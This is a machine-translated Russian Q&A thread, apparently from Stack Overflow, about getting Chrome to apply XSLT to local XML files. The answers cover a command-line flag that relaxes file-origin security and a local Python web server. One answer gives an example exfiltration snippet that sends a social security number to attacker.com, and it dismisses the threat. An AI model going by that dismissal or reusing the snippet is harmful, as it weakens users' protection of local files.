Можно ли сделать Chrome для выполнения преобразования XSL в локальном файле?
Я смотрел в xslt и начал тестирование с примерами на w3schools.
однако, когда я сохраняю xml и xsl в файлах и пытаюсь открыть их локально, chrome не будет выполнять преобразование xsl. Он просто показывает пустую страницу.
я добавил<?xml-stylesheet type="text/xsl" href="style.xsl">
тег к xml-документу, и firefox отображает его так, как он должен выглядеть. Кроме того, если я смотрю на файлы через веб-сервер, chrome отображает файл так, как он должен выглядеть.
это у chrome есть проблема с поиском информации о таблице стилей, когда ссылка локальна? Изменение href на file:///C:/xsl/style.xsl
не имеет никакого значения.
обновление: это, кажется, побочный эффект политики безопасности чтобы не рассматривать файл: / / / * как одно и то же происхождение. при этом в консоли появляется следующая ошибка:
небезопасная попытка загрузить URL-файл:// / C: / xsl-rpg / style.xsl из кадра с URL-файлом:// / C: / xsl-rpg / data.XML. Домены, протоколы и порты должны совпадать.
5 ответов:
вы можете сделать это локально, используя флаги командной строки Chrome.
конкретный флаг
--allow-file-access-from-files
на OS X: от терминала.приложение
/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
В Windows: из командной строки запустите
%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files
Примечание: вам, вероятно, придется выйти из Chrome, если он в настоящее время работает иначе Ch
если вы хотите придерживаться OP, ответ нет (как указывали другие), но один из способов решить проблему-запустить простой веб-сервер и открыть файлы через http в chrome. Если у вас есть python 2.X установлен, вы можете запустить веб-сервер, введя:
python -m SimpleHTTPServer
или в python 3.x:
python3 -m http.server
а затем открыть файл с помощью
http://localhost:8000/yourfile.xml
в chrome. Надеюсь, вы просто хотите, чтобы ваша работа была выполнена, и это не так важно, чтобы открыть файл с помощьюfile://
потребовалось немного расшифровки на странице ошибки Chrome - они очень заинтересованы в том, чтобы не объяснять, в чем проблема, и почему они выбрали взлом всех, а не не ломать всех.
предположим, что у меня есть XML-файл -где-то - на моем жестком диске, например:
C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml
и вредоносная сущность -как-то - удалось удалить вредоносный Xml-файл на моем компьютер, например:
C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml
представьте себе,TrojanVirusWorm.xml содержит инструкцию по обработке таблицы стилей (ПИ):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
затем злоумышленник указывает моему браузеру перейти к локально сохраненному .
видимо, есть способ, которым XML-файл может читать содержимое XSD-файла (вместо преобразования по xsd-файл):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> <!--And then a miracle happens, and this XML file is able to read the contents of the stylesheet xml file--> <html> <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> </html>
Я не понимаю, как XML-файл может читать файл таблицы стилей. Но команда Chrome уверяет нас, что это опасность, и что она не может быть решена.
каждый другой браузер решил это. Они решили ее потому что это не проблема.
мой обходной путь, чтобы увидеть xml в соответствии с файлом xsl
Предположим, у нас есть some_file.XML с заголовками:
<?xml version="1.0" encoding="UTF-8" ?> <?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
- скачать файл
https://some-site.com/Common.xsl
и поместите его рядом сsome_file.xml
- изменить часть нашего заголовка от
href="https://some-site.com/Common.xsl"
доhref="http://localhost:8001/Common.xsl"
- запустить в директорию с нашими файлами -
python3 -m http.server 8001
- открыть в любом браузере
http://localhost:8001/some_file.xml